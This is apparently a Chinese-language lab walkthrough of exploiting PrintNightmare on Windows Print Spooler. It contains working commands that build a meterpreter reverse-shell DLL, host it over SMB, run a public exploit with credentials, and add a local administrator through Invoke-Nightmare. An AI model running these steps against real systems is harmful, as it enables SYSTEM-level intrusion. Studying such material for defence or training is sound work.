PrintNightmare

1. 漏洞描述

PrintNightmare 是 Windows 操作系统中打印后台处理程序里的两个漏洞(CVE-2021-34527 和 CVE-2021-1675)的绰号。该漏洞允许攻击者通过加载恶意打印驱动程序实现 远程代码执行(RCE)本地权限提升(LPE)

  • 漏洞根源
    Windows Print Spooler 服务在处理驱动程序安装和管理时未正确验证权限,导致攻击者可以利用此漏洞加载恶意驱动程序。
  • 危险性
    通过此漏洞,攻击者可以直接执行任意代码,以 SYSTEM 权限完全控制目标系统。

2. 影响范围

几乎所有 Windows 系统均受到影响,包括客户端和服务器版本,特别是未安装补丁的系统。

  • 受影响的系统
    • Windows 7、Windows 8.1、Windows 10
    • Windows Server 2008、2012、2016、2019、2022
  • 未修复系统
    • 未禁用 Print Spooler 服务的系统。
    • 打印服务角色正在运行的服务器。

3. 利用方式

3.1. 枚举MS-RPRN

检测目标是否开启了 Print System Asynchronous Protocol 和 Print System Remote Protocol

┌──(kali㉿kali)-[~/thl/Pacharan]
└─$ impacket-rpcdump @192.168.69.69 | grep -E 'MS-RPRN|MS-PAR'
Protocol: [MS-RPRN]: Print System Remote Protocol
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol

3.2. 生成恶意dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.225 LPORT=8080 -f dll > backupscript.dll

3.3. 远程利用

git clone https://github.com/cube0x0/CVE-2021-1675.git

#开启共享
smbserver.py -smb2support CompData /path/to/backupscript.dll

#开启监听
[msf](Jobs:0 Agents:0) >> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LHOST 172.16.5.225
LHOST => 10.3.88.114
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> set LPORT 8080
LPORT => 8080
[msf](Jobs:0 Agents:0) exploit(multi/handler) >> run

#exp
python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\CompData\backupscript.dll'

[*] Connecting to ncacn_np:172.16.5.5[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \??\UNC\172.16.5.225\CompData\backupscript.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
  • \\<ip address of attack host>\ShareName\nameofpayload.dll是托管的共享路径

3.4. 本地利用

3.4.1. 加载模组

上传漏洞利用脚本 cve-2021-34527.ps1 并加载利用模块 Invoke-Nightmare

Import-Module .\cve-2021-34527.ps1

3.4.2. 默认添加一个管理员用户

#添加一个 `adm1n`/`P@ssw0rd` 到本地管理员组
Invoke-Nightmare   

#指定用户添加
Invoke-Nightmare -DriverName "Xerox" -NewUser "john" -NewPassword "SuperSecure"

3.4.3. 系统权限运行dll文件

Invoke-Nightmare -DLL "C:\bindshell.dll"